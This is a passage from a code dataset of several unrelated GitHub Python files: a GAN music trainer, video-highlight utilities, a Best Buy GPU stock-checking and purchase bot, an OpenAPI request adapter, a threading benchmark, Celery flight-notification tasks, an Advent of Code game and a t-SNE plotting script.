1))\n # update weights of the generator based on the discriminator's errors\n g_dur_loss = gan_dur_model.train_on_batch(X_gan, y_gan)\n g_pitch_loss = gan_pitch_model.train_on_batch(X_gan, y_gan)\n # summarize loss on this batch\n print('>%d, %d/%d, d_dur_1= %.3f, d_dur_2= %.3f, d_pit_1= %.3f, d_pit_2= %.3f, g_dur= %.3f, g_pit= %.3f' %\n (i + 1, j + 1, bat_per_epo, d_dur_loss1, d_dur_loss2, d_pitch_loss1, d_pitch_loss2, g_dur_loss,\n g_pitch_loss))\n df_history.loc[len(df_history)] = [i + 1, j + 1, d_dur_loss1, d_dur_loss2, d_pitch_loss1, d_pitch_loss2,\n g_dur_loss, g_pitch_loss]\n # Generate a midi sample every 100 epochs\n if i % 50 == 0:\n pred = make_assembled_pred(g_pitch_model, g_dur_model, latent_dim, 1)\n make_midi(pred, ts_str + \"/ep_\" + str(i) + \".mid\")\n\n # append to history\n df_history.to_csv(ts_str + '/loss_history.csv', mode='a', index=False, header=False)\n df_history = pd.DataFrame(columns=[\"epoch\", \"batch\", \"d_dur_loss_real\", \"d_dur_loss_fake\",\n \"d_pitch_loss_real\", \"d_pitch_loss_fake\", \"g_dur_loss\", \"g_pitch_loss\"])\n # save the model\n g_dur_model.save(ts_str + '/g_dur_wgts_ep_' + str(i) + '.h5')\n g_pitch_model.save(ts_str + '/g_pitch_wgts_ep_' + str(i) + '.h5')\n # save the final generator model\n g_dur_model.save(ts_str + '/g_dur_wgts_ep_' + str(i) + '.h5')\n g_pitch_model.save(ts_str + '/g_pitch_wgts_ep_' + str(i) + '.h5')\n # save a final sample\n pred = make_assembled_pred(g_pitch_model, g_dur_model, latent_dim, 1)\n make_midi(pred, ts_str + \"/ep_\" + str(i) + \".mid\")\n # save loss history for analysis\n df_history.to_csv(ts_str + '/loss_history.csv', mode='a', index=False, header=False)\n\n## TRAINING PARAMETERS ##\n\n# size of the latent space\nlatent_dim = 128\n# number of nodes in dense layers\nnum_nodes = 256\n# generator dropout\ngen_dropout = 0.2\n# other parameters\nn_epochs = 1000\nn_batch = 600\n# create the discriminator\ndur_discriminator = define_duration_discriminator()\npitch_discriminator = define_pitch_discriminator()\n# create the generators\ndur_generator = define_duration_generator(latent_dim, gen_dropout, num_nodes)\npitch_generator = define_pitch_generator(latent_dim, gen_dropout, num_nodes)\n# create the gan\ndur_gan_model = define_gan(dur_generator, dur_discriminator)\npitch_gan_model = define_gan(pitch_generator, pitch_discriminator)\n# load real music sample data\ntrain_fp = \"training_samples/sample_2020-02-13-17-14.npy\"\ndataset = np.load(train_fp)\n# Make timestamp\nts_str = time.strftime(\"%Y-%m-%d %H-%M\", time.gmtime())\n# create directory if not exist\nif not os.path.exists(ts_str):\n os.makedirs(ts_str)\n# create log for training metadata\nwith open(\"metadata.txt\", \"w+\") as f:\n f.write(\"training script: GAN_model_ver\" + \"6\" + \".py\\n\")\n f.write(\"training sample: \" + train_fp)\n f.write(\"latent dim: %i \\n\" % latent_dim)\n f.write(\"number of nodes : %i \\n\" % num_nodes)\n f.write(\"generator dropout rate: %f.2 \\n\" % gen_dropout)\n f.write(\"number of epochs: %i \\n\" % n_epochs)\n f.write(\"samples per epoch: %i \\n\" % n_batch)\n\n# In[18]:\n\n\n# train model\ntrain(pitch_generator, dur_generator, pitch_discriminator, dur_discriminator, pitch_gan_model, dur_gan_model, dataset,\n latent_dim, n_epochs=n_epochs, n_batch=n_batch)\n\n\n\n\n\n","repo_name":"terrywang15/museG_dev","sub_path":"GAN_model_ver6.py","file_name":"GAN_model_ver6.py","file_ext":"py","file_size_in_byte":19463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"19543198196","text":"import torch\nseed=4\ntorch.manual_seed(seed)\nprint(seed)\nfrom data import *\nfrom config_server import *\nimport os\nimport json\nfrom torch import nn\nfrom module import Net\nimport numpy as np\nfrom torch.utils.data import DataLoader\nfrom itertools import product\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device(gpu if use_cuda else \"cpu\")\ncls_loss_crierion = nn.CrossEntropyLoss(weight=torch.FloatTensor(class_weight).to(device))\nranking_loss_crierion = nn.MarginRankingLoss(margin=1)\nZ = {}\nM = {}\ndur = []\nnet = Net(device)\nnet.to(device)\n\nfor p in net.modules():\n if isinstance(p,nn.Linear):\n nn.init.xavier_normal_(p.weight.data)\noptimizer = torch.optim.Adam(net.parameters(), lr=learning_rate, weight_decay=l2_norm)\nscheduler=torch.optim.lr_scheduler.StepLR(optimizer,step_size=30,gamma=0.9)\n\nif dataset==\"youtube\":\n train_dataset = YoutubeDataset(root=\"train\",cls=target)\n train_loader = DataLoader(train_dataset, batch_size=1, shuffle=True, num_workers=0)\n test_dataset = YoutubeDataset(root=\"test\",cls=target)\n test_loader = DataLoader(test_dataset, batch_size=1, shuffle=True, num_workers=0)\nelse:\n train_dataset=SummeFeatureDataset(root=\"train\",target=target)\n train_loader=DataLoader(train_dataset,batch_size=1,shuffle=True,num_workers=0)\n test_dataset=SummeFeatureDataset(root=\"test\",target=target)\n test_loader=DataLoader(test_dataset,batch_size=1,shuffle=False,num_workers=0)\n\ndef frame_score_to_clip_score(final_score, idx, vname, reduce):\n if dataset ==\"youtube\":\n label_path = os.path.join(os.path.join(video_dir, vname[0] + \"_match_label.json\"))\n labels = json.load(open(label_path, 'r'))\n dur = labels[0]\n label=labels[1]\n else:\n label_path=os.path.join(data_dir,dataset,\"GT\",vname[0]+\".mat\")\n gt=io.loadmat(label_path)\n gt_score=gt.get('gt_score')\n nFrames=gt.get('nFrames')\n dur=[(i,i+49) for i in range(0,int(nFrames)-50,50)]\n dur.append((dur[-1][1]+1,int(nFrames)))\n label=[]\n gt_score=np.squeeze(gt_score,axis=1)\n for f in dur:\n if np.mean(gt_score[f[0]:f[1]])>=0.4:\n label.append(1)\n else:\n label.append(-1)\n pos_final_score=final_score[:,1]\n pos_clip_scores = []\n for clip in dur:\n idx_tensor = torch.FloatTensor(idx)\n mask1 = torch.ge(idx_tensor, clip[0])\n mask2 = torch.le(idx_tensor, clip[1])\n mask = torch.mul(mask1, mask2)\n pos_score = pos_final_score[mask]\n if reduce == \"avg\":\n pos_clip_scores.append(torch.mean(pos_score))\n elif reduce == \"max\":\n pos_clip_scores.append(torch.mean(pos_score))\n return pos_clip_scores, label\n\n\ndef eval_clip(pos_input, target):\n target = torch.FloatTensor(target)\n pos_idx = torch.ge(target, 1)\n neg_idx = torch.le(target, -1)\n p=(pos_idx==1).nonzero()\n n=(neg_idx==1).nonzero()\n\n\n # for p in pos_idx\n pos_input=torch.FloatTensor(pos_input)\n pos_predict_score = pos_input[pos_idx].tolist()\n neg_predict_score = pos_input[neg_idx].tolist()\n pairs = product(pos_predict_score, neg_predict_score)\n bingo = sum([p[0] >= p[1] for p in pairs])\n\n all = len(p)*len(n)\n return bingo, all\n\n\ndef loss_function(feat, label, vname):\n final_score = net(feat)\n label = torch.from_numpy(np.asarray(label, dtype=np.int)).to(device)\n mask = torch.ne(label, 0)\n\n pos_idx = torch.ge(label, 1)\n neg_idx = torch.le(label, -1)\n\n cls_loss = cls_loss_crierion(final_score[mask], (label[mask] + 1) / 2)\n\n if True:\n pos_pos = final_score[pos_idx, 1]\n neg_pos = final_score[neg_idx, 1]\n pos_neg = final_score[pos_idx, 0]\n neg_neg = final_score[neg_idx, 0]\n num_pair=min(sum(pos_idx), sum(neg_idx)).float()\n o = int(num_pair*0.8)\n\n if o > 0:\n posp = torch.sort(pos_pos, dim=0, descending=False)\n posn = torch.sort(pos_neg, dim=0, descending=True)\n negp = torch.sort(neg_pos, dim=0, descending=True)\n negn = torch.sort(neg_neg, dim=0, descending=False)\n #\n a = torch.randperm(o)\n b = torch.randperm(o)\n c = torch.randperm(o)\n d = torch.randperm(o)\n #\n p_p = posp[0][a]\n p_n = posn[0][b]\n n_p = negp[0][c]\n n_n = negn[0][d]\n\n rk_loss1 = ranking_loss_crierion(p_p, n_p, torch.ones(o).to(device))\n rk_loss2 = ranking_loss_crierion(p_n, n_n, -torch.ones(o).to(device))\n rk_loss = rk_loss1+rk_loss2\n else:\n rk_loss=None\n return cls_loss, rk_loss, final_score\n\n\n","repo_name":"GNN-VH/GNN-VH","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4681,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"50"} +{"seq_id":"85279636","text":"from selenium.common.exceptions import TimeoutException, WebDriverException\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.by import By\nfrom bots.purchase import Purchase\n#from botutils.paths import Paths\nfrom bots.browser import Browser \nfrom bots.printer import Printer \nfrom bots.logger import Logger\nfrom . import messenger as msg\nfrom datetime import datetime\nfrom .botutils.paths import Paths\nfrom colorama import init\nimport logging\nimport asyncio\nimport time\nimport sys\nimport re\n\n\n\n#BEST_BUY_PDP_URL = \"https://api.bestbuy.com/click/5592e2b895800000/{sku}/pdp\"\n#BEST_BUY_CART_URL = \"https://api.bestbuy.com/click/5592e2b895800000/{sku}/cart\"\n\n#BEST_BUY_PDP_URL = \"https://api.bestbuy.com/click/5592e2b895800000/{sku}/pdp\"\n#BEST_BUY_CART_URL = \"https://api.bestbuy.com/click/5592e2b895800000/{sku}/cart\"\n\n#BEST_BUY_ADD_TO_CART_API_URL = \"https://www.bestbuy.com/cart/api/v1/addToCart\"\n#BEST_BUY_CHECKOUT_URL = \"https://www.bestbuy.com/checkout/c/orders/{order_id}/\"\n\n#DEFAULT_HEADERS = {\n# \"accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\n# \"accept-encoding\": \"gzip, deflate, br\",\n# \"accept-language\": \"en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7\",\n# \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\",\n# \"origin\": \"https://www.bestbuy.com\",\n#}\n\n\nclass BestBuy():\n\n def __init__(self, number, url, settings, debug=False):\n\n #load_dotenv()\n init(convert=True)\n\n fhandler = logging.FileHandler(filename='.\\\\bestBuyLog.log', mode='a')\n self.logger = Logger(fhandler)\n\n self.paths = Paths()\n #self.session = requests.Session()\n self.is_logged_in = False\n self.printer = Printer()\n self.debug = debug\n\n # General settings\n self.settings = settings\n self.url = url\n self.stream_mode = settings.stream_mode\n self.instock_only_mode = settings.instock_only_mode\n \n # What we're looking for\n self.cards_to_find = settings.cards_to_find\n self.card_prices = settings.card_prices\n\n # Login time\n self.login_at_start = settings.login_at_start\n \n # Statistics\n self.avg_prices = self.total_prices = self.card_count = self.old_prices = {}\n for key in self.cards_to_find:\n self.avg_prices[key] = self.total_prices[key] = self.card_count[key] = self.old_prices[key] = 0\n \n # BestBuy settings\n self.bb_info = settings.bb_info\n\n self.number = number\n self.sku_id = \"\"\n self.item_count = 0\n self.total_time = 0\n\n # Browser driver\n self.browser = Browser(settings)\n self.driver = self.browser.driver\n self.driver.get(url)\n\n def login(self):\n \"\"\"\n Log-in if not already.\n \"\"\"\n if self.bb_info[\"bb_auto_login\"]:\n try:\n if self.settings.DEBUG_MODE and not self.debug[\"login_enabled\"]:\n return\n if \"Account\" not in self.driver.find_element_by_class_name(\"account-button\").text:\n self.is_logged_in = True\n return\n else:\n self.driver.get(self.paths.signin)\n WebDriverWait(self.driver, 2).until(EC.presence_of_element_located((By.XPATH, self.paths.pw_field)))\n if self.driver.find_element_by_xpath(self.paths.pw_field).get_attribute(\"value\") != None and self.driver.find_element_by_xpath(self.paths.pw_field).get_attribute(\"value\") != '':\n self.driver.find_element_by_xpath(self.paths.submit_login).click()\n else:\n self.driver.find_element_by_xpath('//*[@id=\"fld-e\"]').send_keys(\n self.settings.bb_info[\"bb_email\"]\n )\n self.driver.find_element_by_xpath(self.paths.pw_field).send_keys(\n self.settings.bb_info[\"bb_password\"]\n )\n self.driver.find_element_by_xpath(self.paths.submit_login).click()\n WebDriverWait(self.driver, 6).until(\n lambda x: \"Official Online Store\" in self.driver.title\n )\n self.is_logged_in = True\n except Exception as e:\n if self.settings.save_logs:\n self.logger.log_info(\"Login Failure: {}\".format(e))\n pass\n self.driver.get(self.url)\n\n def get_chunks(self, desc):\n \"\"\"\n Split the GPU description into easily parseable chunks.\n\n Properties:\n - desc: description string\n \"\"\"\n new_desc = desc.split(\"\\n\")[0]\n return new_desc\n\n def check_country_page(self):\n \"\"\"\n If you appear to be from a country outside the United States,\n then the country popup will appear.\n \"\"\"\n try:\n if \"Select your Country\" in self.driver.title:\n self.driver.find_element_by_xpath(\n self.paths.select_country).click()\n # driver.find_element_by_class_name(\"us-link\").click()\n except NoSuchElementException:\n print(\"no block\")\n\n def check_popup(self, driver):\n \"\"\"\n Check for a survey popup and exit out.\n\n Properties:\n - driver: webdriver\n \"\"\"\n try:\n if self.driver.find_element_by_id(\"survey_invite_no\"):\n self.driver.find_element_by_id(\"survey_invite_no\").click()\n except NoSuchElementException:\n print(\"no block\")\n\n # Pass xpath of popup close button\n def close_popup(self, driver, path):\n \"\"\"\n Close arbitrary popup window.\n\n Properties:\n - driver: webdriver\n - path: string\n \"\"\"\n self.driver.find_element_by_xpath(path).click()\n\n def close_feedback_popup(self):\n \"\"\"\n Close feedback popup window.\n \"\"\"\n # Take the Survey\n try:\n if self.driver.find_element_by_id(\"survey_invite_no\"):\n self.driver.find_element_by_id(\"survey_invite_no\").click()\n except NoSuchElementException:\n print(\"No popup\")\n\n\n def close_deals_popup(self):\n \"\"\"\n Close deals popup window.\n \"\"\"\n try:\n if self.driver.find_element_by_xpath(self.paths.close_deals_popup):\n self.driver.find_element_by_xpath(\n self.paths.close_deals_popup).click()\n except NoSuchElementException:\n print(\"no popup\")\n\n def get_card(self, item, description, ctype, true_price, is_in, link):\n \"\"\"\n Get individual card object from page body.\n\n Properties:\n - item: card item\n - description: card description\n - ctype: card type / model\n - true_price: price of the card\n - is_in: whether card is in stock or not\n - link: the url of the card\n \"\"\"\n sku = link.split(\"=\")[-1]\n if not is_in or \"Sold Out\" in description.split(\"\\n\"):\n in_stock = False\n self.printer.output(ctype, \"OUT\", \"xxx\", description, \"\", self.stream_mode, \"BestBuy\")\n else:\n in_stock = True\n print_desc = description[:20]\n if self.cards_to_find[ctype] is not None:\n if self.cards_to_find[ctype] and self.card_prices[ctype] > true_price:\n self.printer.output(ctype, \"IN\", true_price,\n print_desc, link, self.stream_mode, \"BestBuy\")\n if self.settings.send_messages:\n msg.send_message(self.number, \"Card Found: \" + str(link))\n if self.bb_info[\"bb_auto_buy\"]:\n buy = Purchase(self.driver, item, sku, \"bestbuy\", self.is_logged_in, self.logger, self.settings)\n buy.make_purchase_bb()\n else:\n self.printer.output(ctype, \"EXP\", true_price,\n print_desc, link, self.stream_mode, \"BestBuy\")\n\n async def loop_body(self, item):\n \"\"\"\n Loops over the card container to extract individual cards.\n\n Properties:\n - item: card item\n \"\"\"\n try:\n description = item.text\n link_item = item.find_element_by_class_name(\"sku-header\")\n link = item.find_element_by_tag_name(\"a\").get_attribute(\"href\")\n\n parts = description.split(\"\\n\")\n cart_button = item.find_element_by_class_name(\"c-reviews-v4 \")\n nope = False\n\n if \"Not yet reviewed\" in cart_button.text:\n nope = True\n\n if len(parts) < 3 or \"Sold Out\" in parts[len(parts)-1] or nope:\n is_in = False\n else:\n is_in = True\n true_price = float(\n re.sub(r'[^\\d.]+', '', description.split('$')[1].strip()))\n\n #if self.debug:\n # self.get_card(item, parts[0], \"Test\", true_price, is_in, link_item)\n\n for key in self.cards_to_find:\n if key in parts[0]:\n self.card_count[key] += 1\n self.total_prices[key] += 1\n self.avg_prices[key] = self.total_prices[key] / self.card_count[key]\n self.get_card(item, parts[0], key, true_price, is_in, link)\n break\n\n except NoSuchElementException as e:\n if self.settings.save_logs:\n self.logger.log_info(self.paths.error_loop.format(e))\n pass\n except Exception as e:\n if self.settings.save_logs:\n self.logger.log_error(self.paths.error_loop.format(e))\n pass\n \n async def validate_body(self, count, dt_string):\n \"\"\"\n Make sure there are actually cards in the body of the page.\n\n Properties:\n - count: current iteration count\n - dt_string: current time string\n \"\"\"\n try:\n if \"\" in self.driver.title:\n notice = self.driver.find_elements_by_class_name(\n \"item-info\")\n total = self.driver.find_element_by_id(\"main-results\")\n stock = total.find_elements_by_class_name(\"sku-item\")\n self.item_count = len(stock)\n queue = asyncio.Queue()\n\n if not self.stream_mode:\n if self.settings.show_progress_bar:\n producers = [asyncio.create_task(self.loop_body(item)) for item in stock]\n else:\n producers = [asyncio.create_task(self.loop_body(item)) for item in stock]\n else:\n if self.settings.show_price_line:\n self.printer.print_refresh(count, dt_string, self.old_prices, self.avg_prices)\n producers = [asyncio.create_task(self.loop_body(item)) for item in stock]\n\n await asyncio.gather(*producers)\n await queue.join()\n\n except NoSuchElementException as e:\n if self.settings.save_logs:\n self.logger.log_info(self.paths.error_loop.format(e))\n pass\n except Exception as e:\n if self.settings.save_logs:\n self.logger.log_error(self.paths.error_loop.format(e))\n pass\n\n def start(self):\n print(\"Started\")\n count = 1\n try:\n self.check_country_page()\n self.close_deals_popup()\n self.close_feedback_popup()\n if self.login_at_start:\n self.login()\n while True:\n try:\n # Update prices\n for key in self.old_prices:\n self.old_prices[key] = self.avg_prices[key]\n t0 = time.time()\n now = datetime.now()\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n if self.settings.save_logs:\n msg = \"\"\n for key in self.avg_prices:\n msg += key + ': $' + str(self.avg_prices[key]) + ', '\n msg += 'Iterations: ' + str(count)\n self.logger.log_info(msg)\n\n #self.validate_body(count, dt_string)\n asyncio.run(self.validate_body(count, dt_string))\n page_num = 1\n try:\n self.driver.find_element_by_class_name(\"sku-list-page-next\").click()\n page_num += 1\n #self.validate_body(count, dt_string)\n asyncio.run(self.validate_body(count, dt_string))\n except (TimeoutException, WebDriverException) as e:\n self.driver.get(self.url)\n pass\n \n count += 1\n t1 = time.time()\n diff = t1 - t0\n self.total_time += diff\n time_per_card = diff / self.item_count\n if self.settings.show_refresh_time:\n print(\"BestBuy Refresh Time: \", diff, \" sec. Avg card check time: \", time_per_card)\n #else:\n #spinner.next()\n if count % 3 == 0 and diff < 3:\n break\n # Prevent browser from slowing down by restarting it\n if self.total_time >= 1200:\n self.driver.close()\n self.browser = Browser(self.settings)\n self.driver = self.browser.driver\n self.driver.get(self.url)\n self.start()\n else:\n self.driver.refresh()\n except NoSuchElementException:\n self.logger.log_error(\n \"Unable to find element. Refresh: \" + str(count))\n except KeyboardInterrupt:\n self.driver.close()\n sys.exit()\n","repo_name":"kysu1313/Quick-GPU-Bot","sub_path":"bots/bestbuy.py","file_name":"bestbuy.py","file_ext":"py","file_size_in_byte":14591,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"50"} +{"seq_id":"70193912476","text":"\"\"\"OpenAPI core contrib requests requests module\"\"\"\nfrom werkzeug.datastructures import ImmutableMultiDict\n\nfrom openapi_core.validation.request.datatypes import (\n RequestParameters, OpenAPIRequest,\n)\n\n\nclass RequestsOpenAPIRequestFactory(object):\n\n @classmethod\n def create(cls, request):\n method = request.method.lower()\n\n cookie = request.cookies or {}\n\n # gets deduced by path finder against spec\n path = {}\n\n mimetype = request.headers.get('Accept') or \\\n request.headers.get('Content-Type')\n parameters = RequestParameters(\n query=ImmutableMultiDict(request.params),\n header=request.headers,\n cookie=cookie,\n path=path,\n )\n return OpenAPIRequest(\n full_url_pattern=request.url,\n method=method,\n parameters=parameters,\n body=request.data,\n mimetype=mimetype,\n )\n","repo_name":"mariusLionte123/falcon-api","sub_path":".env/lib/python3.9/site-packages/openapi_core/contrib/requests/requests.py","file_name":"requests.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"5530138150","text":"import threading\nimport time\nimport random\n\nexitFlag = 0\n\n\nclass MemoryRunThread(threading.Thread):\n def __init__(self, threadID, name, A, B):\n threading.Thread.__init__(self)\n self.threadID = threadID\n self.name = name\n self.A = A\n self.B = B\n\n def run(self):\n # print(\"Starting \" + self.name)\n self.execute()\n # print(self.res)\n # print(\"Exiting \" + self.name)\n\n def execute(self):\n result = [[0 for i in range(len(self.A))] for i in range(len(self.B[0]))]\n for i in range(0, len(self.A)):\n for j in range(0, len(self.B[0])):\n res = 0\n for k in range(0, len(self.B)):\n res += self.A[i][k] * self.B[k][j]\n result[i][j] = res\n del result\n\n\n# Create new threads\ndim = 160000\nsqrtDim = 400\nrandom.seed = 13\n\nmatrixA = [[random.random() for a in range(sqrtDim)] for a in range(sqrtDim)]\nmatrixB = [[random.random() for a in range(sqrtDim)] for a in range(sqrtDim)]\nmatrixC = [[random.random() for a in range(sqrtDim)] for a in range(sqrtDim)]\nmatrixD = [[random.random() for a in range(sqrtDim)] for a in range(sqrtDim)]\n\nmainThread = threading.main_thread()\nthread1 = MemoryRunThread(1, \"Thread-1\", matrixA, matrixB)\nthread2 = MemoryRunThread(2, \"Thread-2\", matrixB, matrixC)\nthread3 = MemoryRunThread(3, \"Thread-3\", matrixC, matrixD)\nthread4 = MemoryRunThread(4, \"Thread-4\", matrixD, matrixA)\n\ncount = 0\nprocessTime = time.time()\nwallTime = currentTime = time.clock()\nwhile currentTime - wallTime < 600:\n thread1.start()\n thread2.start()\n thread3.start()\n thread4.start()\n thread1.join()\n thread2.join()\n thread3.join()\n thread4.join()\n currentTime = time.clock()\n count += 1\n thread1 = MemoryRunThread(1, \"Thread-1\", matrixA, matrixB)\n thread2 = MemoryRunThread(2, \"Thread-2\", matrixB, matrixC)\n thread3 = MemoryRunThread(3, \"Thread-3\", matrixC, matrixD)\n thread4 = MemoryRunThread(4, \"Thread-4\", matrixD, matrixA)\n\nprint(\"Completed \" + str(count) + \" iterations in \" + str(currentTime - wallTime) +\n \" seconds, \\n with \" + str(sqrtDim ** 3 * 4) + \" floating point operations\")\n","repo_name":"IsaacSherman/CS530ProjectSherman","sub_path":"mainLoop.py","file_name":"mainLoop.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21535398854","text":"from datetime import datetime, date, timezone\n\nfrom celery import shared_task\nfrom celery.schedules import crontab\nfrom celery.decorators import periodic_task\n\nfrom django.conf import settings\nfrom django.shortcuts import get_object_or_404\nfrom django.core.mail import send_mail\nfrom django.template.loader import get_template\n\nfrom api.models import Ticket\nfrom api.constants import BOOKED, RESERVED\n\n\n@shared_task()\ndef flight_booking_notification(pk):\n ticket = get_object_or_404(Ticket.objects.all(), pk=pk)\n if ticket:\n subject = \"Details of your booked ticket\"\n sender = settings.EMAIL_HOST_USER\n recipient_list = [ticket.user.email]\n details = dict(\n name=ticket.user.first_name,\n ticket_number=ticket.ticket_id,\n flight_number=ticket.flight.flight_number,\n departure=ticket.flight.departure.city,\n destination=ticket.flight.destination.city,\n departure_date=ticket.flight.departure_date,\n passport_number=ticket.passport_number,\n ticket_class=ticket.ticket_class,\n )\n body = get_template(\"booked.txt\").render(details)\n send_mail(subject, body, sender, recipient_list)\n\n\n@shared_task()\ndef flight_reservation_notification(pk):\n ticket = get_object_or_404(Ticket.objects.all(), pk=pk)\n if ticket:\n subject = \"Details of your reserved ticket\"\n sender = settings.EMAIL_HOST_USER\n recipient_list = [ticket.user.email]\n details = dict(\n name=ticket.user.first_name,\n ticket_number=ticket.ticket_id,\n flight_number=ticket.flight.flight_number,\n departure=ticket.flight.departure.city,\n destination=ticket.flight.destination.city,\n departure_date=ticket.flight.departure_date,\n passport_number=ticket.passport_number,\n ticket_class=ticket.ticket_class,\n )\n body = get_template(\"reserved.txt\").render(details)\n send_mail(subject, body, sender, recipient_list)\n\n\n@periodic_task(\n run_every=(crontab(hour=0, minute=0)),\n name=\"send_flight_reminder_task\",\n ignore_result=True,\n)\ndef send_flight_reminder():\n current_date = date.today()\n tickets = Ticket.objects.filter(status=BOOKED)\n for ticket in tickets:\n if ((ticket.flight.departure_date - current_date).days >= 0) and (\n (ticket.flight.departure_date - current_date).days <= 1\n ):\n subject = \"Reminder For Departure of Flight\"\n sender = settings.EMAIL_HOST_USER\n recipient_list = [ticket.user.email]\n details = dict(\n name=ticket.user.first_name,\n ticket_number=ticket.ticket_id,\n flight_number=ticket.flight.flight_number,\n departure=ticket.flight.departure.city,\n destination=ticket.flight.destination.city,\n departure_date=ticket.flight.departure_date,\n )\n body = get_template(\"reminder.txt\").render(details)\n send_mail(subject, body, sender, recipient_list)\n\n\n@periodic_task(\n run_every=(crontab(hour=\"*/1\", minute=0)),\n name=\"delete_unpaid_reservation\",\n ignore_result=True,\n)\ndef delete_unpaid_reserved_tickets():\n current_datetime = datetime.now(timezone.utc)\n tickets = Ticket.objects.filter(status=RESERVED)\n for ticket in tickets:\n if (current_datetime - ticket.created).days >= 1:\n ticket.delete()\n","repo_name":"precious-ijege/airtech","sub_path":"flight_backend/api/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"34864797972","text":"import IntComputer as IC\r\nimport time\r\n\r\nclass Game(IC.IntComputer):\r\n tiles = {0 : \" \",\r\n 1 : \"#\",\r\n 2 : \"X\",\r\n 3 : \"T\",\r\n 4 : \"O\"}\r\n def setMovable(self,x,t):\r\n if self.tiles[t]==\"T\":\r\n self.pad = x\r\n elif self.tiles[t]==\"O\":\r\n self.ball = x\r\n\r\n def setField(self):\r\n IC.IntComputer.operate(self)\r\n resultats = tuple((self.getOutput(),self.getOutput(),self.getOutput()) \\\r\n for _ in range(len(self.outputs)//3))\r\n x,y,tile = zip(*resultats)\r\n self.field = [[\" \"]*(max(x)+1) for _ in range(max(y)+1)]\r\n for xc,yc,tc in resultats:\r\n self.field[yc][xc] = self.tiles[tc]\r\n self.setMovable(xc,tc)\r\n self.nextMove = -1\r\n return self.field\r\n\r\n def timeStep(self):\r\n IC.IntComputer.addInput(self,self.nextMove)\r\n IC.IntComputer.operate(self)\r\n try:\r\n resultats = tuple((self.getOutput(),self.getOutput(),self.getOutput()) \\\r\n for _ in range(len(self.outputs)//3))\r\n x,y,tile = zip(*resultats)\r\n except:\r\n self.score = -1\r\n self.field.clear()\r\n return\r\n for xc,yc,tc in resultats:\r\n if xc == -1 and yc ==0:\r\n self.score = tc\r\n else:\r\n self.setMovable(xc,tc)\r\n self.field[yc][xc] = self.tiles[tc]\r\n if abs(self.pad - self.ball) < 1:\r\n self.nextMove = 0\r\n elif self.pad < self.ball:\r\n self.nextMove = 1\r\n else:\r\n self.nextMove = -1\r\n return self.field\r\n\r\n def playing(self):\r\n for ligne in self.field:\r\n for case in ligne:\r\n if case == \"X\":\r\n return True\r\n return False\r\n\r\n def __repr__(self):\r\n string = \"\"\r\n for ligne in self.field:\r\n string += \"\".join(list(ligne)) + \"\\n\"\r\n return string\r\n\r\nt0 = time.perf_counter()\r\n# Lecture fichier d'entrée\r\ndonnees = open(\"aoc13.txt\",'r')\r\nintlist = list(map(int,donnees.read().split(\",\")))\r\ndonnees.close()\r\n\r\n# Part 1\r\nBreakOut = Game(intlist)\r\nterrain = BreakOut.setField()\r\npart1 = 0\r\nfor ligne in terrain:\r\n part1 += ligne.count(\"X\")\r\nprint(part1)\r\n\r\n# Part 2\r\nintlist[0] = 2\r\nBreakOut = Game(intlist)\r\nBreakOut.setField()\r\nwhile BreakOut.playing():\r\n BreakOut.timeStep()\r\n\r\nprint(BreakOut.score)\r\nprint(time.perf_counter()-t0)","repo_name":"kroutu/aoc2019","sub_path":"aoc13/aoc13.py","file_name":"aoc13.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"22327245968","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import manifold\nfrom textwrap import wrap\nfrom time import time\nimport os\n\n\ndef main():\n root_path = os.path.abspath('../../../resource/prediction_result/tsne/')\n event_list = ['一年死亡']\n eng_event_dict = {'一年死亡': '1Y-Death',\n '一年再血管化手术': '1Y-Revascularization',\n '三月死亡': '3M-Death',\n '三月再血管化手术': '3M-Revascularization'}\n plt.rc('font', family='Times New Roman')\n (fig, subplots) = plt.subplots(1, 3, figsize=(8, 3))\n\n representation_dict = read_data(root_path, event_list)\n\n for i, event in enumerate(event_list):\n if i == 0:\n index = [0, 0]\n elif i == 1:\n index = [0, 3]\n elif i == 2:\n index = [1, 0]\n elif i == 3:\n index = [1, 3]\n else:\n raise ValueError('')\n model = 'CH-RNN'\n label = representation_dict[model][event][1]\n representation = representation_dict[model][event][0]\n ax = subplots[index[1]]\n tsne_analysis(model, event, label, representation, ax, eng_event_dict)\n for i, event in enumerate(event_list):\n if i == 0:\n index = [0, 1]\n elif i == 1:\n index = [0, 4]\n elif i == 2:\n index = [1, 1]\n elif i == 3:\n index = [1, 4]\n else:\n raise ValueError('')\n model = 'FH-RNN'\n label = representation_dict[model][event][1]\n representation = representation_dict[model][event][0]\n ax = subplots[index[1]]\n tsne_analysis(model, event, label, representation, ax, eng_event_dict)\n for i, event in enumerate(event_list):\n if i == 0:\n index = [0, 2]\n elif i == 1:\n index = [0, 5]\n elif i == 2:\n index = [1, 2]\n elif i == 3:\n index = [1, 5]\n else:\n raise ValueError('')\n model = 'RNN'\n label = 